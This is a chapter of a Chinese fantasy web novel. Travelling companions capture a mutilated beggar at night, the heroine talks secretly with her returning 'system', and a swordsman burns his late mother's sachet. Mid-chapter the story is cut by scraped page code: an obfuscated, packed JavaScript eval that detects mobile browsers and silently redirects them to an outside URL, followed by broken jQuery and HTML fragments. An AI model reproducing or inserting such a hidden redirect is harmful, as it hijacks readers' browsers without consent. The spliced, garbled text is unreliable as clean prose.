夜晚万里无云,明月清风,溪水潺潺。
木头烧得金红透亮,火花劈啪作响。
洛禾捧着清水往脸上泼动,凉劲一下驱散了她的困意。
不远处的葛玲珑坐在树干下打着呵欠,道:“洛洛你眯一会儿吧,我守着便好。”
她看着洛禾一边擦脸一边靠近,换了个舒服的姿势,迷迷糊糊道:“这一路走来也算走运,什么山匪都没碰到。”
洛禾连忙笑道:“嘘,别说,说了就来了。”
葛玲珑也笑呵呵道:“我说话要是这么灵,就许愿我捡到黄金万两!”
“到时候你就跟着我一辈子吃香喝辣...”
她看着洛禾往火堆添柴火,看着看着眼睛就慢慢合上了,嘴中还嘟嘟囔囔:“我先去捡一会儿黄金。”
夜晚的风轻悠悠地吹,带来绵绵凉意。
洛禾看着葛玲珑缩了下肩膀,丢下手中的粗木棍,拍了拍手站起身,去马车里拿衣裳。
她悄悄打开马车后装货物的门,马车里复晓笙与沈云青睡得正熟,她轻手轻脚地,连呼吸都屏住了。
摸了好一会儿都没摸到自己的行囊,才发现自己放得太靠里了,正当她准备爬上车时,有人将行囊递到了她手上。
她手一顿,抓住了行囊,拿了两件外衣。
再次将行囊放进去时,里面的人又继续睡了。
她悄声道:“谢谢。”
抱着外衣往篝火处走去,耳边传来矮灌木沙沙作响的声音。
她脚步一顿,随后放慢了脚步,一边走一边观察灌木丛。
一只灰色野兔从灌木丛中跳了出来,发现洛禾后立马闪进了另一边。
洛禾提起的心落了下来,刚刚转过头,余光就出现一道身影。
那人从灌木中冲了出来,直奔洛禾而去。
在接触到洛禾一瞬,洛禾抛出手中的外衣盖在那人头上,往旁一闪,堪堪躲过。
被盖住头的人找不着方向了,惯性使然让他猛地跌入溪水中。
响动惊醒了所有人。
一袭白衣闪过,剑出鞘之声回荡在山间。
洛禾连忙大喊道:“等等!”
沈云青站在溪水中,剑指向水中挣扎的一团人影,垂下的眼帘暗藏阴狠。
“洛洛你没事吧!”
葛玲珑连忙举起长鞭挡在洛禾身前,警惕地看着溪水中的人。
她本应该在几人休息的地方施阵,但是这里靠近东玉城,为了掩盖身份,她没有这么做。
“我没事。”
洛禾紧紧盯着溪水中的人,紧张地看着沈云青收起长剑,将那人提起丢到岸边。
复晓笙一把扯开那人头上的衣服,将刀面压在那人肩上,但凡他有什么举动就能一击毙命。
被水湿透的人低着头,浑身抖如筛子。
他的脸被乱糟糟的头发全部遮住了,身上的衣服破烂不堪,看起来像是个乞丐。
“你是谁?”
那人没有回应,正要举起手,复晓笙立马将刀峰往前了一寸,陷入他颈间。
“别动!”
沈云青伸出剑,将那人的头发往旁撩动,露出一张满是污痕的脸。
他的脸将洛禾吓得心惊,无意识后退了半步。
那个人惊恐地瞪着眼,吓得白色巩膜充满了整个眼睛。
他似乎想说话,可是张开的嘴中空荡荡的,只剩一小节的舌在黄齿之间用力蠕动。
洛禾大惊之下连忙错开了眼,撇过头,却还是将他的模样记在了心里。
他看样子被吓得不轻,不顾脖子被割伤,将头在地上磕得砰砰作响,喉咙间不停发声求饶。
“呃,呃!”
复晓笙迟疑地收刀后退,看着三人不知该如何是好。
他道:“起来。”
那人不起,头一直往地上磕,渐渐磕出了血迹。
“停下!我们不杀你!”
那人却仍旧不管不顾。
沈云青忽然靠得近了点,那人吓得立马停下了,身子斜斜倒向地面,躲开沈云青刺过去的剑。
剑转之下,那人耳边的发丝被割下,露出一根锈迹斑斑的短铁棍以及充满血迹的耳朵和下颌。
葛玲珑见状惊呼出声:“到底是怎么回事?!!”
复晓笙肃着脸道:“割舌封耳,就算是对犯人都不会用这种手段。”
葛玲珑上前蹲下,正想安抚那人,那人却如惊恐的鸟,见到沈云青收了剑就立马推开葛玲珑爬起身往一边跑,但是他无法掌控方向,几步跌跌宕宕又摔在溪水中。
他摇晃着身体用力爬起身,挪了几步又摔了下去。
洛禾看着他这样心中难受得像有大石头堵住了一般,她有些无措地问道:“怎么办?”
几人沉默下沈云青再次踏入溪水中,靠近那人后抬手下劈,那人直接软了身子倒向水面,沈云青提着他破烂的衣服不让他倒入水中。
他看着几人道:“等他醒了再说。”
经过这件事,他们都不可能睡觉了,复晓笙干脆起身去四处巡逻起来。
洛禾靠在树上闭目养神,方才的一幕在她脑海中久久挥之不去,仿佛她的耳朵也在发疼一般,滋啦滋啦地响。
【宿——滋——宿主。】
洛禾心惊下连忙睁开眼,见没人注意到她,悄悄站起身往一边走去。
【滋——宿主!我回来了!】
洛禾的笑容控制不住地在嘴角蔓延,系统的回归缓和了她心中的瘆意,她控制不住地欣喜地悄悄嬉笑出声。
【这段时间辛苦你了!】
洛禾欢喜得眉毛高仰,心中与它对话。
“确实是辛苦得很,你可得好好犒劳我,我能活下来可太不容易了。”
【宿主受苦了!我已充能完成,我们现在就出发吧!】
洛禾连忙阻止它,问道:“等等!”
【怎么了?】
“我走了这里怎么办啊?两边时间的流速一样吗?就像现代一样慢?”
【对哦!你已经在这个世界里了,那么回到过去后流速会和现在一样。】
“那我不能现在走,不然平白无故一个大活人失踪了肯定会出事的。”
【你说的对!那宿主你只要想办法离开他们三个月左右的时间,因为我的能力只能维持你在过去呆这么久。】
“好!”
沈云青换好衣物下马车后,走向篝火的脚步一转,步入了树丛深处。
他站在一棵树后静静看着溪边的洛禾,她背着手,身体转来转去,眼睛笑得弯成了月亮。
与方才惊魂未定的模样完全不同,看样子就像是在想什么,一会儿开心一会儿纠结,又撩开了袖子露出手臂上的追魂咒,表情变得有些严肃。
【宿主放心,他只能在这个时空追踪到你,我们是回到过去,他找不到的。】
“那你知道这个咒的副作用是什么吗?”
【它没有副作用,只是常常被用来作恶才会变成禁术。】
“没有?”洛禾疑惑地眨巴眼,纳闷道:“那为什么沈云青说下咒之人会全身溃烂,死无全尸?”
【这就不知道了。】
【不过宿主,我离开时感觉到了一股能量波动,你没有说出你的事吧?】
洛禾摇了摇头,她将那次差点说出来,被电击的事告诉了系统。
【那就好,宿主可一定要注意,之前发生过这种事,结果那个世界的人无法接受,不仅杀掉了穿进去的宿主,还杀了很多人。】
洛禾听此,凉意从脚往上爬,一路顺着背爬到了头皮炸开。
【从此以后我们就有了禁令,违反者直接抹杀并且清除宿主接触过的所有人的记忆。】
她搓了搓手臂,禁不住砸吧着嘴,出声道:“这也太狠了吧...”
远处,沈云青听着洛禾的话,看了看手心中的罗盘,又看了看洛禾空空的手,巡视一圈也没有其他人在。
看见洛禾又开始唉声叹气,他收回了罗盘,抬腿走回篝火处,那里只有葛玲珑一个人蹲在火堆边。
“葛姑娘。”
葛玲珑看着晕倒的人,沉着脸发愣,忽然被沈云青唤回神。
“怎么了?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352976|183015||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
沈云青低声道:“这个人耳上的伤应该是不久前造成的,不如你还是布下阵法吧,如果妖在附近我们还能把它抓了,以免它逃了让更多人受到伤害。”
葛玲珑心中也是这么想的,她看了看周边,又看了看昏迷不醒的人,一咬牙点头道:“好!”
捉妖才是最要紧的,其他什么都能抛到一边去。
沈云青勾唇看着她站起身,围着几人外开始走动布阵。
他看着往回走的洛禾,她正满头雾水地与葛玲珑对话,冷漠的眼中慢慢有了些笑意。
洛禾回来后,笑着与沈云青打招呼,随后坐在了他身边的树下闭上了眼,只是嘴角的弧度久久不曾压下去。
沈云青看着她这般模样,心中那股躁动的感觉越来越浓烈,他垂下眼帘,压下胸中呼之欲出的燥意。
若是往常,洛禾不会只是打个招呼就不管了。
过了好一会儿,巡逻的复晓笙与葛玲珑一道回来了,他温声询问道:“怎么样?”
两人摇了摇头。
复晓笙道:“这附近没有妖也没有其他人,我们只能等他醒了再想办法。”
葛玲珑叹了口气,脸上带了一丝愁色:“不知道他会不会写字...”
他们商量着明日一早加速前往东玉城将人送去医馆,然后再去报官帮他找家人。
复晓笙注意到身边的沈云青已经好一会儿都没说话了,转头却见沈云青只是一个劲盯着手中的香囊。
嘴角显出他心情愉悦,眼神看起来很是温柔。
“我一直都很想知道,这到底是谁送给你的?”
沈云青难得回答了他,笑道:“这是我娘的遗物。”
复晓笙一愣,连忙道:“抱歉。”
沈云青摇了摇头,两指捏住香囊两端用力一扯。
嘶——
封死的香囊被他扯开。
他从里面拿出了一张符咒,轻轻将其展开,上面画着繁复的花纹。
其余两人看向他手中的符咒,复晓笙问道:“这是什么?”
他看着手中破破烂烂的符咒,符纸已经老化了,折痕深刻地刻在了上面。
咒语与他手臂上的如出一辙,收笔之处随意拖长,看起来不伦不类,随性肆意。
他缓缓道:“一个死人的东西。”
复晓笙又懊恼了起来,正不知怎么开口就见他手一抛,符纸连着香囊一同被投入火种。
符纸瞬间便化为火团,随着热气往上飞扬。
复晓笙连忙拿着木棍将香囊从火堆里刨了出来,大喊道:“你烧它做什么?!”
他一声大叫让洛禾睁开了眼。
只见复晓笙拿着个木棍在眼熟的香囊上不停拍打,可香囊的布料很是精贵,一碰到火便直接全燃起来了。
她连忙起身跑了过去,妄图用手拍灭火团,却被沈云青紧紧攥住了手腕,她挣脱不了只能眼睁睁看着火焰吞噬了香囊。
葛玲珑疑惑道:“这可是你娘的遗物!你怎么就烧了?”
洛禾心中惊讶,这居然是沈云青的娘给他的!
她正要询问沈云青时,却见他转眼看了过来,一双眼紧紧盯着她,起唇冷冷道:“死人的东西,留着也没用。”
沈云青说完便松开了洛禾的手腕,站起身向马车走去。
洛禾正要追过去,撑在地上的手突然感觉到一股炙热,低头发现一片黑乎乎的东西飘在了她手背上。
复晓笙看着地上烧成灰的香囊,叹气道:“哎,怎么说烧就烧了呢?”
“我从未听云青提起过他娘,原来她...”葛玲珑有些低落地看着沈云青孤零零的背影。
“我也未见过。”复晓笙深深叹了口气,“我与他其实没认识多久,那时他被人打了不开口求救,还好我看见了。一开始我还以为他是个哑巴,性子也古怪得很,怎么逗都不笑,后来再过不久他就去青剑宗了。”
“现在想来,应该就是因为他娘的事吧,毕竟那个时候他也才十岁...”
洛禾低下头,默默甩开手上的黑团,捡起只剩几片的香囊,将其攥在手心。